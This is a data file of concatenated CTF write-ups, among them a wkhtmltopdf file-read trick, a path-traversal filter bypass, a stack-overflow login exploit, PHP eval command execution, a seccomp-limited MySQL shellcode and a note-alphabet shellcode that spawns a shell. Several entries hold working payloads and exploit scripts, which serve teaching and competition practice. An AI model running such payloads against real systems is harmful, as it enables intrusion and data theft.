text_chunk
stringlengths 151
703k
|
---|
# DescriptionIdentify the data contained within wigle and determine how to visualize it. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out.# Hints* Perhaps they've been storing data in a database. How do we access the information?* How can we visualize this data? Maybe we just need to take a step back to get the big picture?* Try zero in the first word of the flag, if you think it's an O.* If you think you're super close, make a private piazza post with what you think it is.
# WriteupHmm...an unknown file. Let's use the `file` command in order to learn more about it.

Aha! So it's an SQLite file. Let's use an online interpreter to open it.

So we have 3 tables:* android_metadata* location* network
After going through each table multiple times, I found the **location** table interesting, since it contains a set of coordinates.
Let's use a basic SQL Query to compile a list of locations in the following format: `<lat>, <long>` so we can visualize them on a map.
We will use the following query:```SQLSELECT `lat`, `lon` from `location````
And we will get the following data (after replacing empty spaces with `,`):```-48,-96.96-47.99,-96.96-47.98,-96.96...-47.983,-94.74300000000012```
Now, we can open an online visualizer. I found a good one [here](https://www.darrinward.com/lat-long)
If we input our data, we will see a pattern:

There we go! We found our flag!
**FLAG**: `FLAG{F0UND_M3_A20E177F}` |
# CTF - 2018 - NoNameCon CTF Quals 2018 / Web / bank
## web - 200 pts - local file access with js and html to pdf
- note: sry, The challenge website is no more available, so there will be no screenshots :'(
- We register and connect to the bank website.- In the page bank.php we can transfert found to someone else or to ourselves.- In the html sourcecode we see a comment to a page `history.php?type=html`- This page give us the history and we can find an xss in it.- After trying some extension, we finaly find something interresting, a pdf extension is available and the pdf result contain the following informations :```pdfinfo history.pdfTitle: Creator: wkhtmltopdf 0.12.2.4Producer: Qt 5.5.1...```- So they use wkhtmltopdf- This lib convert html to pdf, but also read the javascript.- A research on web lead me to this report : https://cure53.de/pentest-report_accessmyinfo.pdf which is interesting because we can do "Local File Access via HTML to PDF conversion"- So we can do a transfert with the following payload in description to get our data :```<h1 id='test2'>a</h1><script>x = new XMLHttpRequest();x.open('GET','file:///var/www/html/history.php',false);x.send();document.getElementById('test2').innerHTML= x.responseText;</script>```- This work, the pdf lib call the javascript, the file is loaded and we get the source code, but the source is incomplete due to php specials chars and because the pdf truncate it.
- So i cut the code into chunk of 60 char in base64 to be able to read all the content :```<div id='p'>a</div><script>x = new XMLHttpRequest();x.open('GET','file:///var/www/html/history.php',false);x.send();var a = '';for(var i=0; i< x.responseText.length; i=i+60 ) {a = a + btoa(x.responseText.substr(i, 60))+ '';}document.getElementById('p').innerHTML= a;</script>```
- Result give me :```PD9waHAKaW5jbHVkZSAnY29uZi5waHAnOwpzZXNzaW9uX3N0YXJ0KCk7CmlmKCAhJF9TRVNTSU9OWydpZCddICkgewogIGhlYWRlcignTG9jYXRpb246IGxvZ2luLnBocCcpOwogIGRpZTsKfQokdHlwZSA9ICRfR0VUWyd0eXBlJ10gPz8gJ2h0bWwnOwoKJHN0bXQgPSAkcGRvLT5wcmVwYXJlKCdTRUxFQ1QgaWQsIChTRUxFQ1QgdXNlcm5hbWUgRlJPTSB1c2VycyBXSEVSRSBpZD1zZW5kZXIpIGFzIHNlbmRlciwoU0VMRUNUIHVzZXJuYW1lIEZST00gdXNlcnMgV0hFUkUgaWQ9cmVjaXBpZW50KSBhcyByZWNpcGllbnQsIGFtb3VudCwgZGVzY3JpcHRpb24gRlJPTSB0cmFuc2FjdGlvbnMgV0hFUkUgKHNlbmRlciA9IDpzZW5kZXIgT1IgcmVjaXBpZW50ID0gOnJlY2lwaWVudCkgT1JERVIgQlkgaWQgREVTQycpOwokc3RtdC0+YmluZFBhcmFtKCc6c2VuZGVyJywgJF9TRVNTSU9OWydpZCddLCBQRE86OlBBUkFNX0lOVCk7CiRzdG10LT5iaW5kUGFyYW0oJzpyZWNpcGllbnQnLCAkX1NFU1NJT05bJ2lkJ10sIFBETzo6UEFSQU1fSU5UKTsKJHN0bXQtPmV4ZWN1dGUoKTsKCiR0cmFuc2FjdGlvbnMgPSBbXTsKd2hpbGUoICRyb3cgPSAkc3RtdC0+ZmV0Y2goKSApCiAgJHRyYW5zYWN0aW9ucyBbXT0gJHJvdzsKCiRoaXN0b3J5X2h0bWwgPSAnJzsKJGhpc3RvcnlfaHRtbCAuPSA8PDxFT1QKICAgIDx0YWJsZSBzdHlsZT0id2lkdGg6MTAwJTt0ZXh0LWFsaWduOmxlZnQ7Ym9yZGVyOiAzcHggc29saWQgYmxhY2s7Ij4KICAgICAgPHRyPjx0aCB3aWR0aD0yMD5JRDwvdGg+PHRoIHdpZHRoPTEwMD5TZW5kZXI8L3RoPjx0aCB3aWR0aD0xMDA+UmVjaXBpZW50PC90aD48dGggd2lkdGg9NTA+QW1vdW50PC90aD48dGggd2lkdGg9NTAwPkRlc2NyaXB0aW9uPC90aD48L3RyPgpFT1Q7CmZvcmVhY2goJHRyYW5zYWN0aW9ucyBhcyAkdHJhbnNhY3Rpb24pIHsKICAkaGlzdG9yeV9odG1sIC49IHNwcmludGYoJzx0cj48dGQ+JXU8L3RkPjx0ZD4lczwvdGQ+PHRkPiVzPC90ZD48dGQ+JXU8L3RkPjx0ZD4lczwvdGQ+PC90cj4nLiBQSFBfRU9MLCAKICAgICR0cmFuc2FjdGlvblsnaWQnXSwKICAgIGh0bWxlbnRpdGllcygkdHJhbnNhY3Rpb25bJ3NlbmRlciddKSwKICAgIGh0bWxlbnRpdGllcygkdHJhbnNhY3Rpb25bJ3JlY2lwaWVudCddKSwKICAgICR0cmFuc2FjdGlvblsnYW1vdW50J10sCiAgICAkdHlwZSA9PT0gJ2h0bWwnID8gaHRtbGVudGl0aWVzKCR0cmFuc2FjdGlvblsnZGVzY3JpcHRpb24nXSkgOiAkdHJhbnNhY3Rpb25bJ2Rlc2NyaXB0aW9uJ10KICApOwp9CiRoaXN0b3J5X2h0bWwgLj0gPDw8RU9UCiAgICA8L3RhYmxlPgpFT1Q7CgppZiggJHR5cGUgPT09ICdwZGYnICkgewogICR0bXBmaWxlICA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBzcHJpbnRmKCdiYW5rLSV1LScsICRfU0VTU0lPTlsnaWQnXSkpOwogICRodG1sZmlsZSA9ICR0bXBmaWxlIC4gJy5odG1sJzsKICAkcGRmZmlsZSAgPSAkdG1wZmlsZSAuICcucGRmJzsKICBmaWxlX3B1dF9jb250ZW50cygkaHRtbGZpbGUsICRoaXN0b3J5X2h0bWwpOwogIGV4ZWMoInh2ZmItcnVuIHdraHRtbHRvcGRmICRodG1sZmlsZSAkcGRmZmlsZSIpOwogIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9wZGYnKTsKICByZWFkZmlsZSgkcGRmZmlsZSk7CiAgdW5saW5rKCR0bXBmaWxlKTsgdW5saW5rKCRodG1sZmlsZSk7IHVubGluaygkcGRmZmlsZSk7CiAgZGllOwp9Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgPD9waHAgaW5jbHVkZSAnLi9wYXJ0aWFscy9oZWFkLnBocCcgPz4KPC9oZWFkPgo8Ym9keT4KICA8ZGl2IGNsYXNzPSJiYW5uZXIiPgogICAgPD9waHAgaW5jbHVkZSAnLi9wYXJ0aWFscy91c2VyX2hlYWRlci5waHAnID8+CiAgPC9kaXY+CiAgPGRpdiBjbGFzcz0ianVtYm90cm9uIG1hc3RoZWFkIj4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciB3aC00NSI+CiAgICA8cD5UcmFuc2FjdGlvbiBIaXN0b3J5PC9wPgogICAgPD89JGhpc3RvcnlfaHRtbDs/PgogICAgPC9kaXY+CiAgPC9kaXY+CiAgPD9waHAgaW5jbHVkZSAnLi9wYXJ0aWFscy9mb290ZXIucGhwJyA/PgogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIC8qIGluaXQgSmFyYWxsYXggKi8KICAgICQoJy5qYXJhbGxheCcpLmphcmFsbGF4KHsKICAgICAgc3BlZWQ6IDAuNSwKICAgICAgaW1nV2lkdGg6IDEzNjYsCiAgICAgIGltZ0hlaWdodDogNzY4CiAgICB9KQogIDwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4K```
- With that, i get the code in the pdf and i retreive it with copy/paste on [cyberchef](https://gchq.github.io/CyberChef/) (this tool is so usefull)
- we can now find the complete code and the configuration file include``` |
# CTF - 2018 - Timisoara CTF 2018 Quals / Web / BookDir
## Part 1 - 125 pts- We get a list of book :```curl -H 'X-Dir: .' "http://89.38.210.129:8012/books/booklist.php" [{"name":"Beloved"},{"name":"Catch-22"},{"name":"Lolita"},{"name":"Nineteen Eighty-Four"},{"name":"The Catcher in the Rye"},{"name":"The Grapes of Wrath"},{"name":"The Great Gatsby"},{"name":"The Sound and the Fury"},{"name":"Ulysses"}]```
- We can go backward with ../```curl -H 'X-Dir: ../' "http://89.38.210.129:8012/books/booklist.php" [{"name":"4o4_fl4g_n0t_f0und.php"},{"name":"booklist.php"},{"name":"books.js"},{"name":"css"},{"name":"index.html"},{"name":"list"},{"name":"vendor"}]```
- We find the `4o4_fl4g_n0t_f0und.php` and we will try to read it
- Using param f we can read file :```curl "http://89.38.210.129:8012/books/booklist.php?f=Beloved" "\"124 was spiteful. Full of baby's venom. The women in the house knew it and so did the children.\"\n"```
- After some test, we found that `../` is filtered and we need to double it to bypass `....//`:```curl "http://89.38.210.129:8012/books/booklist.php?f=....//4o4_fl4g_n0t_f0und.php" "\n Order allow,deny\n Deny from all\n<\/Files>\n\n<Files w0w_y0u_g0t_m3___.php>\n Order allow,deny\n Deny from all\n<\/Files>\n\nRewriteEngine On\nRewriteRule ^(?:books\/list)\\b.* \/403.php\n"```
- find `w0w_y0u_g0t_m3___.php`, let's read it :```curl "http://89.38.210.129:8012/books/booklist.php?f=....//....//w0w_y0u_g0t_m3___.php" " |
- php `openssl_verify` uses SHA1 as default signing algorithm- generate PDFs with different content but identical SHA1 hash with [sha1collider](https://github.com/nneonneo/sha1collider) |
# DescriptionHere's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/1444de144e0377e55e5c7fea042d7f01
# Hints* What happens if you read in more characters than the length of the username buffer?* You should look at an ascii table to see what character you need to choose.* Numbers are stored in little-endian format, which means that the lowest byte of the number is first.* "cat file - | vrgearconsole " will keep the pipe open for commands.
# WriteupFirst, let's ssh to the picoctf server and navigate to the `/problems/1444de144e0377e55e5c7fea042d7f01` directory.
We have 3 files here:* flag.txt - TXT files* vrgearconsole - ELF Executable* vrgearconsole.c - Source code
Nice! We have a source code file! Let's first execute the program, and then we will look at the source.

I see! You have to login, and then what? Let's look at source:
```C#include <stdlib.h>#include <stdio.h>
int login() { int accessLevel = 0xff; char username[16]; char password[32]; printf("Username (max 15 characters): "); gets(username); printf("Password (max 31 characters): "); gets(password);
if (!strcmp(username, "admin") && !strcmp(password, "{{ create_long_password() }}")) { accessLevel = 2; } else if (!strcmp(username, "root") && !strcmp(password, "{{ create_long_password() }}")) { accessLevel = 0; } else if (!strcmp(username, "artist") && !strcmp(password, "my-password-is-secret")) { accessLevel = 0x80; }
return accessLevel;}
int main(int argc, char **argv) { setbuf(stdout, NULL); printf( "+----------------------------------------+\n" "| |\n" "| |\n" "| |\n" "| |\n" "| Welcome to the VR gear admin console |\n" "| |\n" "| |\n" "| |\n" "| |\n" "+----------------------------------------+\n" "| |\n" "| Your account is not recognized |\n" "| |\n" "+----------------------------------------+\n" "\n\n\n\n" "Please login to continue...\n\n\n" ); int access = login();
printf("Your access level is: 0x%08x\n", access);
if (access >= 0xff || access <= 0) { printf("Login unsuccessful.\n"); exit(10); } else if (access < 0x30) { printf("Admin access granted!\n"); printf("The flag is in \"flag.txt\".\n"); system("/bin/sh"); } else { printf("Login successful.\n"); printf("You do not have permission to access this resource.\n"); exit(1); }}
```
Hmm... So after you login, you get an access level. Interesting. Obviously, we do not know the password of admin to get an access level below `0x30` (admin access level). I have already tried using a buffer overflow to overwrite the return address, and it worked, but then gave a SEGFAULT, so let's try overwriting the access level.
Open the program in gdb and set a break point right before leaving the `login()` function.

Now, I will run the program using the username **admin** and password **AAAAAAAA**, so we can calculate a padding in the stack, between the start of the password and the access level (which should be `0x000000ff`, as we saw when we tried running the program and failing to login as admin).
Let's run the program and stop at the break point, right before leaving `login()`.

Here's how the stack looks like now:

As we can see, from the beginning of the password (which is **AAAAAAAA** or `0x41414141 0x41414141`), we need 48 bytes of padding, and right after we can inject a wanted access level like `0x00000001`, which would give us admin privileges.
First, let's create a file in the `/tmp` directory, containing the string **admin** (so we can pass it to stdin when we run the program). I will name my file admin.

Now, let's create a script that will generate the string we need to inject into the password field, which is 48 padding bytes (we will use `A`) and right after that, the access level (we will use `0x00000001`). So here's the code that will do this:
```pythonimport struct;exploit = "A"*(12*4) + struct.pack("I", 0x00000001);print(exploit);```
Extremely simple! Running this program will give us the string we want to inject in the password field, so let's tunnel it to a file. We will use `/tmp/password`.

Now, let's pass the **admin** and **password** file to the input of our program, and let's see if it correctly overwrites the access level. We will use cat:
```bashcat /tmp/admin /tmp/password - | ./vrgearconsole```
Note: We will use a `-` at the end of cat to keep input open for shell commands after we successfully exploit the program.

It worked!
**FLAG**: `acdcf692a6209e618b97925c26084ea9` |
# ▼▼▼PHP Eval White-List(Web)192/586team solved=32.8%**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```PHP was dangerous, so we've fixed it!
http://c67f8ffd.quals2018.oooverflow.io
Files:websec_eval_wl.so```
---
**【Understanding function and access restrictions】**
http://c67f8ffd.quals2018.oooverflow.io
↓
```PHP - Custom eval whitelisting!PHP is dangerous, so we wrote a custom php extension to improve its security. We're also taking advantage of the open_basedir directive to prevent you from accessing the flag binary up the current folder. You can check the source of the page here.```
↓
There are the following access restrictions
```・custom php extension:websec_eval_wl.so・open_basedir()```
---
Also, source code is provided
↓
http://c67f8ffd.quals2018.oooverflow.io/source.txt
↓
```
<html><head> <title>php as a service</title> <link rel='stylesheet' href='bootstrap.min.css' /></head> <body> <div id='main'> <div class='container'> <div class='row'> <h1>PHP<small> - Custom eval whitelisting!</small></h1> </div> <div class='row'> PHP is dangerous, so we wrote a custom php extension to improve its security. We're also taking advantage of the open_basedir directive to prevent you from accessing the flag binary up the current folder. You can check the source of the page here. </div> </div> <div class='container '> <div class='row '> <form action='' method='post' class="form-inline"> <div class="form-group"> <div class="input-group"> <div class="input-group-addon">Code to eval</div> <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> </div> </div> <div class="form-group"> <input type='submit' value='Run!' class="btn btn-default" name='submit'> </div> </form> </div> </div>
PHP is dangerous, so we wrote a custom php extension to improve its security. We're also taking advantage of the open_basedir directive to prevent you from accessing the flag binary up the current folder. You can check the source of the page here.
<div class='container'> ./flag binary?'; }?> </div> </div> </body></html>```
./flag binary?'; }?>
↓
Arbitrary code is executable
`eval($_POST['d']);`
---
**【Information gathering by arbitrary code execution】**
```POST / HTTP/1.1Host: c67f8ffd.quals2018.oooverflow.ioContent-Type: application/x-www-form-urlencoded
d=system("ls -al");&submit=Run```
↓
```total 180drwxr-xr-x 3 root root 4096 May 12 18:10 .drwxr-xr-x 3 root root 4096 May 11 16:29 ..-rw-r--r-- 1 root root 108376 May 5 04:58 bootstrap.min.css-rw-r--r-- 1 root root 1672 May 12 18:09 index.php-rw-r--r-- 1 root root 155 May 5 04:58 source.php-rw-r--r-- 1 root root 1672 May 12 18:09 source.txtd-wx-wx-wx 2 root root 16384 May 14 11:40 tmp-rw-r--r-- 1 root root 33784 May 5 04:58 websec_eval_wl.so```
↓
The `tmp` folder can be written, but I can exploit without using it
---
**【Identify the location of flag】**
TOP screen has the following description
`Can you execute the ./flag binary?`
---
I searched for an executable flag
× d= `system('file ./../../flag');` ⇒ `./../../flag: cannot open './../../flag' (No such file or directory)`
○ d= `system('file ./../flag');` ⇒ `./../flag: executable, regular file, no read permission`
× d= `system('file ./flag');` ⇒ `./flag: cannot open './flag' (No such file or directory)`
× d= `system('file ./tmp/flag');` ⇒ `./tmp/flag: ASCII text, with very long lines` ※This is a fake flag
---
**【exploit】**
d= `system(' ./../flag');`
↓
`OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}` |
The challenge consists of a simple PHP script that opens a MySQL connection and then feeds our input into a custom PHP extension `shellme.so`.
The extension basically just executes `$_POST['shell']` as shellcode after a strict SECCOMP call, [prctl](http://man7.org/linux/man-pages/man2/prctl.2.html)([22](https://elixir.bootlin.com/linux/v4.16.8/source/include/uapi/linux/prctl.h#L68), [1](https://elixir.bootlin.com/linux/v4.1/source/include/uapi/linux/seccomp.h#L10)). This means that we can only use the four syscalls `read`, `write`, and `exit`, and `sigreturn`, where the latter two aren't particularly useful.
The goal is to read the flag from the open MySQL connection. To implement this in shellcode, we need to do a little digging into the MySQL documentation to figure out how the [client/server protocol](https://dev.mysql.com/doc/dev/mysql-server/latest/PAGE_PROTOCOL.html) works. Unfortunately, the server kept giving 500 errors, so I was unable to let it write the flag straight back to me; instead, I wrote a SQL query that conditionally called `SLEEP` and leaked the flag via timing.
Read the full writeup below: |
# sbva, Web, 110pts
## Problem
We offer extensive website protection that stops attackers even when the admin's credentials are leaked!
Try our demo page http://0da57cd5.quals2018.oooverflow.io with username:password [email protected]:admin to see for yourself.
## Solution
It was a quite tricky challenge, which looks somehow difficult at the beginning. The only thing we've got was a simple login form and when I've put credentials provided, I immediately stuck with the page said that ```Incompatible browser detected.``` (served by the file named ```wrongbrowser.php```)
So it was clear that solution is somewhere around User-Agent string.
First thing I've tried was some simple XSS and SQLi payloads, like typical _skiddie_, with expected result (I mean - no result at all). The next try was to get rid off User-Agent completely:

Then I've realized the fact that this weird HTML has to be some clue:
```html<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>
```
Why such weird "page" was put into something which the only thing to do was to redirect to ```wrongbrowser.php```?And why this code checks if my battery is charging?
Wait a second... ```navigator.battery``` is not supported already in many browsers or its newer API ```navigator.getBattery()``` should be used. And why the hell someone used ```scoped``` attribute for ```<style>``` element, which is not supported by any current browser? (https://caniuse.com/#search=scoped)
But, it's supported by Firefox from version 21 up to 54. And ```navigator.battery``` is supported as well by Firefox from 16 (from 11 by enabling a flag in the settings) up to 42 (later versions supports only ```navigator.getBattery()```) - check https://caniuse.com/#search=battery
And ```autoplay``` attribute in ```<video>``` tag is supported by almost all browsers inlcuding above.
Ok, so what if I spoof User-Agent string with Firefox version supporting all ```autoplay```, ```scoped``` and ```navigator.battery```?
Let's check then with Firefox 42, which meets those requirements:
```GET /browsertest.php HTTP/1.1Host: 0da57cd5.quals2018.oooverflow.ioAccept: application/phpUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:42.0) Gecko/20100101 Firefox/42.0Content-Length: 2```
Aaaand here we are:
```HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Sat, 12 May 2018 17:55:36 GMTContent-Type: text/html; charset=UTF-8Connection: keep-aliveContent-Security-Policy: upgrade-insecure-requestsContent-Length: 291
OOO{0ld@dm1nbr0wser1sth30nlyw@y}<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>```
Later I've realized that **sbva**, the challenge name, contains a clue as well: **s**coped**b**attery**v**ideo**a**utoplay :D

**Flag: OOO{0ld@dm1nbr0wser1sth30nlyw@y}** |
## 121 ghettohackers: Throwback ##
(misc)
**Files provided**
- `text`
**Description**
The `text` file contained:
> Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!
**Solution**
Naturally my first instinct was to fill in the missing letters. So, filling in the blanks, we get:
> Anyone who would sacrifice policy for execution speed thinks security is a commodity to pour in to a system!
The letters we filled in were `nwltisoos`. This doesn't really look like anything and it was not the flag. The description and the title of the challenge hinted at DEF CON CTFs from a long time ago. I assume this sort of challenge was indeed part of an old CTF, but I couldn't find it. Searching for the quote itself was not successful either, there was no exact match for this sentence.
In my text editor the text was laid out like this:
Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem! n w l ti s o o s .
So I focused on the blanks between the filled-in letters. Counting the number of spaces between each blank (and the beginning):
4-1-18-11-0-12-15-7-9-3
And, substituting 1 for A, 2 for B, etc, and 0 for a space, that gives us the flag, `dark logic`. |
## 102 ELF Crumble ##
(warmup)
**Files provided**
- `broken` - `fragment_1.dat` - `fragment_2.dat` - `fragment_3.dat` - `fragment_4.dat` - `fragment_5.dat` - `fragment_6.dat` - `fragment_7.dat` - `fragment_8.dat`
**Description**
We were given an executable, `broken`, which has a big hole in the middle, filled with X's. The size of the hole is the same as all the fragment sizes added up, so it was quite clear we were meant to assemble the fragments into the binary in the correct order.
**Solution**
Certainly inspecting the fragments would be helpful, checking alignment and instructions. But, since the CTF started at 1am for me and I wanted to sleep before starting for real, the lazy (but computer-time-intensive) solution is to just assemble the binary in every possible way, then run them all. Script:
#!/bin/bash # `broken` parts before and after the hole dd bs=1 count=1453 if=broken of=broken_pre dd bs=1 skip=2260 if=broken of=broken_post echo "prefix and postfix created ..." # permutation function, from https://stackoverflow.com/a/3846321 function perm() { local fragments="$1" local order="$2" local i [[ "$fragments" == "" ]] && echo "$order" && return for (( i=0; i<${#fragments}; i++ )); do perm "${fragments:0:i}${fragments:i+1}" "$order${fragments:i:1}" done } # assemble all permutations into binaries mkdir -p perm fragments="12345678" perm "$fragments" | while read order; do ((count++)) echo "$count: $order" ( cat broken_pre for (( i=0; i<${#order}; i++ )); do cat "fragment_${order:i:1}.dat" done cat broken_post ) > "perm/$order" chmod +x "perm/$order" done echo "binaries generated ..." # run all binaries in parallel, record output in out mkdir -p out for f in perm/*; do ( ("$f" 2>&1 >"out/"`basename $f`".txt") &) done echo "binaries executed ..." # find unique outputs printf "flag: " find out -type file -not -empty -exec cat {} \;
After some time, prints out `welcOOOme`. |
# Throwback## ProblemThe original file is ["text"](./text), a 90-byte long string: `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`.
## ApproachSince this is all that we're given, it's pretty likely that this is a steganography challenge.Let's start by trying to figure out what the original message would be. It's likely`Anyone who would sacrifice policy for execution speed thinks security is a commodityto pour into a system!`, replacing letters `nwltisoos`. Note that this replaces all of the exclamation points except the last.
Well, it turns out that the flag isn't `nwltisoos`, and there's no obvious caesar encryptionor permutation that works (though it permutes to "solwtions", which messed with me for awhile).
Let's try... the letters before/after the exclamation points.Before: `oeou kmpym`, after: `ehi osdut `. Neither works.
Thinking of this as a steganography tactic... it's not usually a good stego tactic to requireyour hidden message to rely on the plaintext it's encoded in. (You then need to find aspecific plaintext that works, which kind of weakens the point of using stego in thefirst place.) So let's consider the positions of the exclamation points, rather than theletters around them.
It's at this point that a hint was released: `The flag is in the format ([a-z ]+)`.That means that we should probably be looking for numbers less than 26. That rulesout the absolute position of exclamation points (since the last one is at byte 89), solet's look at the number of letters before each exclamation point.
That gives us `4 1 18 11 0 12 15 7 9 3`, which, converted from a 0-indexed alphabet,gives `ebslamphjd`. When we decrypt that with caesar of 1, we get `darkzlogic` - and`dark logic` is the flag! So why didn't we get that outright?
## SolutionInstead of using a 0-indexed alphabet (where 0 maps to a, 1 to b, etc), we should'veused a 1-indexed alphabet with zero mapping to a space (since spaces are explicitlyallowed in the hint).
Here's a script for the entire process (downloadable as [solution.py](./solution.py)):```Python# The given ciphertexttext = "Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!"# Our space-prepended alphabetalpha = " abcdefghijklmnopqrstuvwxyz" # Note the space at index 0
# Split the text and convert to lengthssplat = text.split("!") # this ends with an empty string due to the trailing !lens = [len(x) for x in splat[:-1]]
# Convert to the alphabet and print!letters = [alpha[i] for i in lens]print "".join(letters)``` |
full script @ https://gist.github.com/64c8198d87ca34cc326fc83ce6190670
This is a shellcoding challenge, reversing the binary reveals that the shellcode must be a sequence of notes. A note is a string of the form A0 or A#0, where A can be any letter between A and G and 0 is a digit between 0 and 9.
The shellcode is mapped at the fixed address 0x60606000 (RWX segment), and an `int 80h` is appended at the end that we do not needto generate ourselves. Registers are cleared with exception of ESI, EDI, ESP which all point to the stack and ECX which is set to 1.
# ideaEnumerating possible opcodes shows that we can control EAX quite well, with the following opcodes:
- 4A xor al,0x41 (and variants with B,C,... for 0x42,0x43,...)- 3F0 xor eax,[esi+0x30] (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]- 1F0 xor [esi+0x30],eax (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]- 0F0 xor [esi+0x30],al (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]
For padding, we can use 'A' (inc ecx) if we want to use an opcode that starts with a number or '6' (ss prefix) to use an opcode that ends with a letter.
When the shellcode starts, the stack is already filled with a repeating 0x4f4f4f4f ('OOOO') and a 0x2d2d2d2d ('----') pattern. If we xor those together, we get 0x62626262, which is close to the base of the shellcode page. We can fix it up by setting AL to 0x2 or 0x1 and xoring it into that bytewise, so we end up with 0x60606160.
After we have control of EAX, we use it to patch a single byte into the shellcode: a popad. With popad, we can then fully control every register just by setting up the stack correctly, which is possible with our EAX gadgets.For patching the shellcode, the following additional primitives are needed:
- #8 and edi,[eax] used to clear EDI by ANDing it with two values a,b such that a & b == 0- 0D8A xor [eax+edi*1+0x41],al to perform the write
After that, we can use our existing stack -> EAX and EAX -> stack gadgets to setup the stack for a read syscall.`read` then loads a /bin/sh shellcode to the RWX segment to spawn a shell.
# commented shellcode
```; load RAX with 0x4f4f4f4f from stackA3 F0; xor the next 16 stack bytes with EAX (4 xors); gives 16 byte of cleared stack space, needed laterA 1G0G6G6G6G 1G0G6G6G6G 1G0G6G6G6G 1G0; now xor rax into 0x2f2f2f2f which is the the next value on the stackG6G6G6G 1G0; clear EAX"A3", "F#6", ; load 2 into ALA 4A6 A 4C6; xor AL into 0x62626262's bytesA 0G0A 0G2A 0G3; load 1 into ALA 4B 4C6; xor AL into the third byte of our 0x60.. address"A0", "G1",; clear EAXA 4A 4B6 ; load EAX with 0x60606160 (the address we built on the stack)A 3G0;; now EAX is 0x60606160, an address in the shellcode page
; clear EDI (first and)A #8; increment EAX (set AL to 0x61)A 4B 4C 6; clear EDI (second and)A #8; set AL to 0x20 (0x20 ^ 0x41 (the pad value) = 0x61 (popad))A 4A6; apply patchA 0D8A6; setup stack for popad; (this works because stack space was cleared above so we can use XOR to write values to stack)F6F6F6F 1F0 ; EDX = EAX (count)F6F6F6F 1F0 ; ECX = EAX (read target) A 3F0 A 4A 4B6 ; set EAX to 3F6F6F6F 1F0 ; EAX = EAX (syscall number); increment stack pointer so that popad pops correct values+ padding"D6" * 32; padding (it is important that 'A' & '6' = 0x0 to clear EDI above)"A6" * 400```
OOO{1f_U_Ar3_r34d1n6_7h15_y0u_4r3_7h3_m0z4rT_0f_1nf053c_Ch33rs2MP!} |
# DescriptionWe found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? hcexample.py has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:46290!
# Hints* Connect from the shell with nc. Read up on how Hash Chains work and try to identify what could make this cryptosystem weak.
# WriteupLet's open hcexample.py to see what they refer to when talking about hash chains:
```pythonimport md5 #Must be run in python 2.7.x
#code used to calculate successive hashes in a hashchain.seed = "seedhash"
#this will find the 5th hash in the hashchain. This would be the correct response if prompted with the 6th hash in the hashchainhashc = seedfor _ in xrange(5): hashc = md5.new(hashc).hexdigest()
print hashc```
So it's just a seed that gets MD5'd a couple of times. That means, if we know the seed, we can find out any hash in the hash chain.
Let's connect to the service and see what the program does:

We notice 2 very important things:1. The hashchain seed is usually the user's MD5 encrypted id.2. The register/authentication algorithm works by submitting the hash in the hashchain that is before the given one. Interesting.
Let's see what happens if we choose to get flag instead of registering:

Well, we know the seed (user 7224 MD5 encrypted), therefore we can find the hash in the chain before `b1806314d4b7bd1d999fb9c30aa324c2`.
Awesome! Let's write a script that will exploit this service automatically! You have it attached as `hashchain_exploit.py` here in this repository. Here's the explanation:
```python#!/usr/bin/env python2.7import md5;import sys;import socket;
HOST = 'shell2017.picoctf.com';PORT = 46290;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((HOST, PORT)); #Connect to server
s.recv(4096); #Receive the "Would you like to..." parts.send('f\n'); #We would like to get flagdata = s.recv(4096); #Get datauser = data.split('\n')[0].split(' ')[5]; #get user iddata = s.recv(4096);tkn = data.split('\n')[0]; #Get token
print("User: "+user+"\nToken: "+tkn);seed = md5.new(user).hexdigest(); #Calculate seedprint("Seed: "+seed);found = False;hashc = seed; #Starting point of hashchain is the seed
while(found == False): if (md5.new(hashc).hexdigest() == tkn): #If the next hash is the token, we found the hash we are looking for print("Hash found: "+hashc); found = True; else: hashc = md5.new(hashc).hexdigest();#s.recv(4096)print("Sending hash...");s.send(hashc+'\n'); #Send the hashprint(s.recv(4096)); #Get the flag
```
Let's try it out:

Great!
**FLAG**: `50b5200b4013f421cbb6defa6a8ff8bb` |
Disclaimer: I'm really just adding this writeup because I found the brute forcing method in the other writeups to be a little unsatisfying. I want to show that this challenge can be solved quite easily by examining the files we are given.
-----
In this challenge we are given a binary `broken` and some other data files:```fragment_1.datfragment_2.datfragment_3.datfragment_4.datfragment_5.datfragment_6.datfragment_7.datfragment_8.dat```
